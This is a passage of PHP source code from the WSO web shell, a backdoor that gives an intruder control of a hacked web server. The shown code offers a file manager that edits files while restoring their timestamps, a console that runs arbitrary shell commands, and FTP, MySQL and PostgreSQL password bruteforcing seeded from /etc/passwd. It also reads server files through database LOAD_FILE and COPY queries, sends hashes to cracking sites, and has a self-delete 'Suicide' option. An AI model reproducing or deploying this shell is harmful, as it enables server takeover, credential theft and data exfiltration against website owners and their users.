595 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
596 foreach ($iterator as $key=>$value) {
597 $zip->addFile(realpath($key), $key);
598 }
599 }
600 }
601 chdir($GLOBALS['cwd']);
602 $zip->close();
603 }
604 }
605 } elseif($_COOKIE['act'] == 'unzip') {
606 if(class_exists('ZipArchive')) {
607 $zip = new ZipArchive();
608 foreach($_COOKIE['f'] as $f) {
609 if($zip->open($_COOKIE['c'].$f)) {
610 $zip->extractTo($GLOBALS['cwd']);
611 $zip->close();
612 }
613 }
614 }
615 } elseif($_COOKIE['act'] == 'tar') {
616 chdir($_COOKIE['c']);
617 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
618 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
619 chdir($GLOBALS['cwd']);
620 }
621 unset($_COOKIE['f']);
622 setcookie('f', '', time() - 3600);
623 break;
624 default:
625 if(!empty($_POST['p1'])) {
626 WSOsetcookie('act', $_POST['p1']);
627 WSOsetcookie('f', serialize(@$_POST['f']));
628 WSOsetcookie('c', @$_POST['c']);
629 }
630 break;
631 }
632 }
633 wsoHeader();
634 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
635 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
636 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
637 global $sort;
638 $sort = array('name', 1);
639 if(!empty($_POST['p1'])) {
640 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
641 $sort = array($match[1], (int)$match[2]);
642 }
643echo "<script>
644 function sa() {
645 for(i=0;i<d.files.elements.length;i++)
646 if(d.files.elements[i].type == 'checkbox')
647 d.files.elements[i].checked = d.files.elements[0].checked;
648 }
649</script>
650<table width='100%' class='main' cellspacing='0' cellpadding='2'>
651<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
652 $dirs = $files = array();
653 $n = count($dirContent);
654 for($i=0;$i<$n;$i++) {
655 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
656 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
657 $tmp = array('name' => $dirContent[$i],
658 'path' => $GLOBALS['cwd'].$dirContent[$i],
659 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
660 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
661 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
662 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
663 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
664 );
665 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
666 $files[] = array_merge($tmp, array('type' => 'file'));
667 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
668 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
669 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
670 $dirs[] = array_merge($tmp, array('type' => 'dir'));
671 }
672 $GLOBALS['sort'] = $sort;
673 function wsoCmp($a, $b) {
674 if($GLOBALS['sort'][0] != 'size')
675 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
676 else
677 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
678 }
679 usort($files, "wsoCmp");
680 usort($dirs, "wsoCmp");
681 $files = array_merge($dirs, $files);
682 $l = 0;
683 foreach($files as $f) {
684 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
685 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
686 $l = $l?0:1;
687 }
688 echo "<tr><td colspan=7>
689 <input type=hidden name=a value='FilesMan'>
690 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
691 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
692 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
693 if(class_exists('ZipArchive'))
694 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
695 echo "<option value='tar'>Compress (tar.gz)</option>";
696 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
697 echo "<option value='paste'>Paste / Compress</option>";
698 echo "</select> ";
699 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
700 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
701 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
702 wsoFooter();
703}
704
705function actionStringTools() {
706 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
707 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
708 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
709 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
710 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
711 $stringTools = array(
712 'Base64 encode' => 'base64_encode',
713 'Base64 decode' => 'base64_decode',
714 'Url encode' => 'urlencode',
715 'Url decode' => 'urldecode',
716 'Full urlencode' => 'full_urlencode',
717 'md5 hash' => 'md5',
718 'sha1 hash' => 'sha1',
719 'crypt' => 'crypt',
720 'CRC32' => 'crc32',
721 'ASCII to HEX' => 'ascii2hex',
722 'HEX to ASCII' => 'hex2ascii',
723 'HEX to DEC' => 'hexdec',
724 'HEX to BIN' => 'hex2bin',
725 'DEC to HEX' => 'dechex',
726 'DEC to BIN' => 'decbin',
727 'BIN to HEX' => 'binhex',
728 'BIN to DEC' => 'bindec',
729 'String to lower case' => 'strtolower',
730 'String to upper case' => 'strtoupper',
731 'Htmlspecialchars' => 'htmlspecialchars',
732 'String length' => 'strlen',
733 );
734 if(isset($_POST['ajax'])) {
735 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
736 ob_start();
737 if(in_array($_POST['p1'], $stringTools))
738 echo $_POST['p1']($_POST['p2']);
739 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
740 echo strlen($temp), "\n", $temp;
741 exit;
742 }
743 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
744 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
745 wsoHeader();
746 echo '<h1>String conversions</h1><div class=content>';
747 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
748 foreach($stringTools as $k => $v)
749 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
750 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
751 if(!empty($_POST['p1'])) {
752 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
753 }
754 echo"</pre></div><br><h1>Search files:</h1><div class=content>
755 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
756 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
757 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
758 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
759 <tr><td></td><td><input type='submit' value='>>'></td></tr>
760 </table></form>";
761
762 function wsoRecursiveGlob($path) {
763 if(substr($path, -1) != '/')
764 $path.='/';
765 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
766 if(is_array($paths)&&@count($paths)) {
767 foreach($paths as $item) {
768 if(@is_dir($item)){
769 if($path!=$item)
770 wsoRecursiveGlob($item);
771 } else {
772 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
773 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
774 }
775 }
776 }
777 }
778 if(@$_POST['p3'])
779 wsoRecursiveGlob($_POST['c']);
780 echo "</div><br><h1>Search for hash:</h1><div class=content>
781 <form method='post' target='_blank' name='hf'>
782 <input type='text' name='hash' style='width:200px;'><br>
783 <input type='hidden' name='act' value='find'/>
784 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
785 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
786 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
787 </form></div>";
788 wsoFooter();
789}
790
791function actionFilesTools() {
792 if( isset($_POST['p1']) )
793 $_POST['p1'] = urldecode($_POST['p1']);
794 if(@$_POST['p2']=='download') {
795 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
796 ob_start("ob_gzhandler", 4096);
797 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
798 if (function_exists("mime_content_type")) {
799 $type = @mime_content_type($_POST['p1']);
800 header("Content-Type: " . $type);
801 } else
802 header("Content-Type: application/octet-stream");
803 $fp = @fopen($_POST['p1'], "r");
804 if($fp) {
805 while(!@feof($fp))
806 echo @fread($fp, 1024);
807 fclose($fp);
808 }
809 }exit;
810 }
811 if( @$_POST['p2'] == 'mkfile' ) {
812 if(!file_exists($_POST['p1'])) {
813 $fp = @fopen($_POST['p1'], 'w');
814 if($fp) {
815 $_POST['p2'] = "edit";
816 fclose($fp);
817 }
818 }
819 }
820 wsoHeader();
821 echo '<h1>File tools</h1><div class=content>';
822 if( !file_exists(@$_POST['p1']) ) {
823 echo 'File not exists';
824 wsoFooter();
825 return;
826 }
827 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
828 if(!$uid) {
829 $uid['name'] = @fileowner($_POST['p1']);
830 $gid['name'] = @filegroup($_POST['p1']);
831 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
832 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
833 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
834 if( empty($_POST['p2']) )
835 $_POST['p2'] = 'view';
836 if( is_file($_POST['p1']) )
837 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
838 else
839 $m = array('Chmod', 'Rename', 'Touch');
840 foreach($m as $v)
841 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
842 echo '<br><br>';
843 switch($_POST['p2']) {
844 case 'view':
845 echo '<pre class=ml1>';
846 $fp = @fopen($_POST['p1'], 'r');
847 if($fp) {
848 while( !@feof($fp) )
849 echo htmlspecialchars(@fread($fp, 1024));
850 @fclose($fp);
851 }
852 echo '</pre>';
853 break;
854 case 'highlight':
855 if( @is_readable($_POST['p1']) ) {
856 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
857 $code = @highlight_file($_POST['p1'],true);
858 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
859 }
860 break;
861 case 'chmod':
862 if( !empty($_POST['p3']) ) {
863 $perms = 0;
864 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
865 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
866 if(!@chmod($_POST['p1'], $perms))
867 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
868 }
869 clearstatcache();
870 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
871 break;
872 case 'edit':
873 if( !is_writable($_POST['p1'])) {
874 echo 'File isn\'t writeable';
875 break;
876 }
877 if( !empty($_POST['p3']) ) {
878 $time = @filemtime($_POST['p1']);
879 $_POST['p3'] = substr($_POST['p3'],1);
880 $fp = @fopen($_POST['p1'],"w");
881 if($fp) {
882 @fwrite($fp,$_POST['p3']);
883 @fclose($fp);
884 echo 'Saved!<br><script>p3_="";</script>';
885 @touch($_POST['p1'],$time,$time);
886 }
887 }
888 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
889 $fp = @fopen($_POST['p1'], 'r');
890 if($fp) {
891 while( !@feof($fp) )
892 echo htmlspecialchars(@fread($fp, 1024));
893 @fclose($fp);
894 }
895 echo '</textarea><input type=submit value=">>"></form>';
896 break;
897 case 'hexdump':
898 $c = @file_get_contents($_POST['p1']);
899 $n = 0;
900 $h = array('00000000<br>','','');
901 $len = strlen($c);
902 for ($i=0; $i<$len; ++$i) {
903 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
904 switch ( ord($c[$i]) ) {
905 case 0: $h[2] .= ' '; break;
906 case 9: $h[2] .= ' '; break;
907 case 10: $h[2] .= ' '; break;
908 case 13: $h[2] .= ' '; break;
909 default: $h[2] .= $c[$i]; break;
910 }
911 $n++;
912 if ($n == 32) {
913 $n = 0;
914 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
915 $h[1] .= '<br>';
916 $h[2] .= "\n";
917 }
918 }
919 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
920 break;
921 case 'rename':
922 if( !empty($_POST['p3']) ) {
923 if(!@rename($_POST['p1'], $_POST['p3']))
924 echo 'Can\'t rename!<br>';
925 else
926 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
927 }
928 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
929 break;
930 case 'touch':
931 if( !empty($_POST['p3']) ) {
932 $time = strtotime($_POST['p3']);
933 if($time) {
934 if(!touch($_POST['p1'],$time,$time))
935 echo 'Fail!';
936 else
937 echo 'Touched!';
938 } else echo 'Bad time format!';
939 }
940 clearstatcache();
941 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
942 break;
943 }
944 echo '</div>';
945 wsoFooter();
946}
947
948function actionConsole() {
949 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
950 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
951 $_POST['p1'] .= ' 2>&1';
952 } elseif(!empty($_POST['p1']))
953 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
954
955 if(isset($_POST['ajax'])) {
956 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
957 ob_start();
958 echo "d.cf.cmd.value='';\n";
959 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
960 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
961 if(@chdir($match[1])) {
962 $GLOBALS['cwd'] = @getcwd();
963 echo "c_='".$GLOBALS['cwd']."';";
964 }
965 }
966 echo "d.cf.output.value+='".$temp."';";
967 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
968 $temp = ob_get_clean();
969 echo strlen($temp), "\n", $temp;
970 exit;
971 }
972 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
973 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
974 wsoHeader();
975 echo "<script>
976if(window.Event) window.captureEvents(Event.KEYDOWN);
977var cmds = new Array('');
978var cur = 0;
979function kp(e) {
980 var n = (window.Event) ? e.which : e.keyCode;
981 if(n == 38) {
982 cur--;
983 if(cur>=0)
984 document.cf.cmd.value = cmds[cur];
985 else
986 cur++;
987 } else if(n == 40) {
988 cur++;
989 if(cur < cmds.length)
990 document.cf.cmd.value = cmds[cur];
991 else
992 cur--;
993 }
994}
995function add(cmd) {
996 cmds.pop();
997 cmds.push(cmd);
998 cmds.push('');
999 cur = cmds.length-1;
1000}
1001</script>";
1002 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1003 foreach($GLOBALS['aliases'] as $n => $v) {
1004 if($v == '') {
1005 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1006 continue;
1007 }
1008 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1009 }
1010
1011 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1012 if(!empty($_POST['p1'])) {
1013 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1014 }
1015 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1016 echo '</form></div><script>d.cf.cmd.focus();</script>';
1017 wsoFooter();
1018}
1019
1020function actionLogout() {
1021 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1022 die('bye!');
1023}
1024
1025function actionSelfRemove() {
1026
1027 if($_POST['p1'] == 'yes')
1028 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1029 die('Shell removed');
1030 else
1031 echo 'unlink error!';
1032 if($_POST['p1'] != 'yes')
1033 wsoHeader();
1034 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1035 wsoFooter();
1036}
1037function actionBruteforce() {
1038 wsoHeader();
1039 if( isset($_POST['proto']) ) {
1040 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1041 if( $_POST['proto'] == 'ftp' ) {
1042 function wsoBruteForce($ip,$port,$login,$pass) {
1043 $fp = @ftp_connect($ip, $port?$port:21);
1044 if(!$fp) return false;
1045 $res = @ftp_login($fp, $login, $pass);
1046 @ftp_close($fp);
1047 return $res;
1048 }
1049 } elseif( $_POST['proto'] == 'mysql' ) {
1050 function wsoBruteForce($ip,$port,$login,$pass) {
1051 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1052 @mysql_close($res);
1053 return $res;
1054 }
1055 } elseif( $_POST['proto'] == 'pgsql' ) {
1056 function wsoBruteForce($ip,$port,$login,$pass) {
1057 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1058 $res = @pg_connect($str);
1059 @pg_close($res);
1060 return $res;
1061 }
1062 }
1063 $success = 0;
1064 $attempts = 0;
1065 $server = explode(":", $_POST['server']);
1066 if($_POST['type'] == 1) {
1067 $temp = @file('/etc/passwd');
1068 if( is_array($temp) )
1069 foreach($temp as $line) {
1070 $line = explode(":", $line);
1071 ++$attempts;
1072 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1073 $success++;
1074 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1075 }
1076 if(@$_POST['reverse']) {
1077 $tmp = "";
1078 for($i=strlen($line[0])-1; $i>=0; --$i)
1079 $tmp .= $line[0][$i];
1080 ++$attempts;
1081 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1082 $success++;
1083 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1084 }
1085 }
1086 }
1087 } elseif($_POST['type'] == 2) {
1088 $temp = @file($_POST['dict']);
1089 if( is_array($temp) )
1090 foreach($temp as $line) {
1091 $line = trim($line);
1092 ++$attempts;
1093 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1094 $success++;
1095 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1096 }
1097 }
1098 }
1099 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1100 }
1101 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1102 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1103 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1104 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1105 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1106 .'<span>Server:port</span></td>'
1107 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1108 .'<tr><td><span>Brute type</span></td>'
1109 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1110 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1111 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1112 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1113 .'<td><input type=text name=login value="root"></td></tr>'
1114 .'<tr><td><span>Dictionary</span></td>'
1115 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1116 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1117 echo '</div><br>';
1118 wsoFooter();
1119}
1120
1121function actionSql() {
1122 class DbClass {
1123 var $type;
1124 var $link;
1125 var $res;
1126 function DbClass($type) {
1127 $this->type = $type;
1128 }
1129 function connect($host, $user, $pass, $dbname){
1130 switch($this->type) {
1131 case 'mysql':
1132 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1133 break;
1134 case 'pgsql':
1135 $host = explode(':', $host);
1136 if(!$host[1]) $host[1]=5432;
1137 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1138 break;
1139 }
1140 return false;
1141 }
1142 function selectdb($db) {
1143 switch($this->type) {
1144 case 'mysql':
1145 if (@mysql_select_db($db))return true;
1146 break;
1147 }
1148 return false;
1149 }
1150 function query($str) {
1151 switch($this->type) {
1152 case 'mysql':
1153 return $this->res = @mysql_query($str);
1154 break;
1155 case 'pgsql':
1156 return $this->res = @pg_query($this->link,$str);
1157 break;
1158 }
1159 return false;
1160 }
1161 function fetch() {
1162 $res = func_num_args()?func_get_arg(0):$this->res;
1163 switch($this->type) {
1164 case 'mysql':
1165 return @mysql_fetch_assoc($res);
1166 break;
1167 case 'pgsql':
1168 return @pg_fetch_assoc($res);
1169 break;
1170 }
1171 return false;
1172 }
1173 function listDbs() {
1174 switch($this->type) {
1175 case 'mysql':
1176 return $this->query("SHOW databases");
1177 break;
1178 case 'pgsql':
1179 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1180 break;
1181 }
1182 return false;
1183 }
1184 function listTables() {
1185 switch($this->type) {
1186 case 'mysql':
1187 return $this->res = $this->query('SHOW TABLES');
1188 break;
1189 case 'pgsql':
1190 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1191 break;
1192 }
1193 return false;
1194 }
1195 function error() {
1196 switch($this->type) {
1197 case 'mysql':
1198 return @mysql_error();
1199 break;
1200 case 'pgsql':
1201 return @pg_last_error();
1202 break;
1203 }
1204 return false;
1205 }
1206 function setCharset($str) {
1207 switch($this->type) {
1208 case 'mysql':
1209 if(function_exists('mysql_set_charset'))
1210 return @mysql_set_charset($str, $this->link);
1211 else
1212 $this->query('SET CHARSET '.$str);
1213 break;
1214 case 'pgsql':
1215 return @pg_set_client_encoding($this->link, $str);
1216 break;
1217 }
1218 return false;
1219 }
1220 function loadFile($str) {
1221 switch($this->type) {
1222 case 'mysql':
1223 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1224 break;
1225 case 'pgsql':
1226 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1227 $r=array();
1228 while($i=$this->fetch())
1229 $r[] = $i['file'];
1230 $this->query('drop table wso2');
1231 return array('file'=>implode("\n",$r));
1232 break;
1233 }
1234 return false;
1235 }
1236 function dump($table, $fp = false) {
1237 switch($this->type) {
1238 case 'mysql':
1239 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1240 $create = mysql_fetch_array($res);
1241 $sql = $create[1].";\n";
1242 if($fp) fwrite($fp, $sql); else echo($sql);
1243 $this->query('SELECT * FROM `'.$table.'`');
1244 $i = 0;
1245 $head = true;
1246 while($item = $this->fetch()) {
1247 $sql = '';
1248 if($i % 1000 == 0) {
1249 $head = true;
1250 $sql = ";\n\n";
1251 }
1252
1253 $columns = array();
1254 foreach($item as $k=>$v) {
1255 if($v === null)
1256 $item[$k] = "NULL";
1257 elseif(is_int($v))
1258 $item[$k] = $v;
1259 else
1260 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1261 $columns[] = "`".$k."`";
1262 }
1263 if($head) {
1264 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1265 $head = false;
1266 } else
1267 $sql .= "\n\t,(".implode(", ", $item).')';
